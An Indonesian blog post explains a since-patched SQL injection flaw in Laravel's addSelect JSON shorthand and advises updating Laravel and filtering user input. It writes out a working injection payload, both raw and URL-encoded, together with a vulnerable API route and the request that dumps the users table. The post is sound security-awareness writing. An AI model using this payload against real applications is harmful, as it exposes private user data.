Unsafe SQL Function pada Laravel

Halo, sobat malasbaca ! Perkenalkan Saya Nando admin baru disini 😀 tulisan pertama saya akan mengulas sedikit mengenai salah satu framework PHP yang cukup populer saat ini yaitu Laravel.

Sebelumnya saya mempercayai bahwa query builder pada Laravel 100% “aman”. Bahwa inputan user tidak langsung dipassing yang memungkinkan terjadinya serangan SQL Injection.

Beberapa bulan lalu, di sebuah komunitas ada yang membahas tentang function-function yang tidak aman. banyak developer yang berasumsi (termasuk juga saya :v pribadi), bahwa Laravel query builder totally, mencegah serangan SQL injection.

Pembahasan kali ini, bertujuan untuk meningkatkan kesadaran teman-teman sekalian mana yang aman dan mana yang tidak.

SQL Injection Vulnerability ???

Kerentanan ini sudah diperbaiki pada Laravel versi 5.8.11

Mari kita ulas sedikit masalahnya ..

Laravel memiliki kemampuan untuk manual menentukan kolom mana yang akan dipilih pada query. dan juga kita bisa menggunakan shorthand notation untuk data JSON:

Blog::query() ->addSelect('title->en');

jika ditulisan dalam query manual json_extract

SELECT
json_extract(`title`, '$."en"') FROM blogs;

kita bisa menggunakan syntax yang disederhanakan dengan “->”, yang akan dikonversi Laravel ke SQL statement yang benar.

Berhati-hatilah:

Laravel tidak melakukan escaping pada statement tersebut . Perhatikan contoh berikut:

Blog::query()->addSelect('title->en'#');

dengan menyisipkan ‘# pada inputan kita, kita bisa secara manual menutup function json_extract dan mengabaikan query lainnya

SELECT
json_extract(`title`,
'$."en'#"')
FROM blogs;

Query di atas akan menghasilkan error, tapi bagaimana dengan query berikut ?

SELECT
json_extract( `title`,
'$."en"'))
FROM blogs RIGHT OUTER JOIN users ON users.id <> null #
"')
FROM blogs;

Kita menambahkan outer join pada tabel user, intinya adalah men-select semua data pada tabel tersebut

sebagai referensi. Berikut adalah version malicious code URL encoded

%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

Katakanlah, kita punya endpoint API dalam aplikasi, query untuk post blog pada API publik :

Route::get('/posts', function (Request $request) {
    $fields = $request->get('fields', []);

    $users = Blog::query()->addSelect($fields)->get();

    return response()->json($users);
});


Konsumen API kemungkinan hanya tertarik pada beberapa fields, itu sebabnya kita coba menambahkan filter untuk parameter field. mirip dengan sparse fieldsets dari JSON api spec.

untuk menggunakan endpoint gambarannya seperti ini :

/blog?fields[]=url&fields[]=title

kemudian kita coba menyisipkan malicious code sebagai berikut :

/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

kemudian payload tersebut ditambahkan ke dalam query,dan mengembalikan hasil dengan format json, kita bisa melihat seluruh isi dari tabel users

Blog::query()->addSelect([
'%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23'
])->get();

Ada beberapa hal yang memungkinkan serangan ini terjadi :

– Endpoint API yang dapat diakses, yang memungkinkan Attacker merequest malicious code ke dalam select atau addSelect.Kemungkinan kita tidak melakukan ini secara manual di proyek kita .

– entry point table harus punya kolom dengan data JSON, kalau tidak, fungsi json_extract akan gagal, menghentikan query kita. Melalui enty point, kita dapat mengakses semua data.

Pencegahan ??

Update ke Laravel versi 5.8.11, akan lebih baik jika kita sering meng-update dengan Laravel latest version,

Sebagai catatan, developer sebaiknya selalu melakukan filter apa yang diinput user (Don’t trust any user input :v )

Sekian pembahasan kali ini , Kalau ada salah apapun bisa coret-coret dibawah,nanti saya update dan mohon dimaafkan 😀

About Roby Firnando 4 Articles
a Computer Nerd , 0% Have Fun

3 Comments

Leave a Reply

Your email address will not be published.


*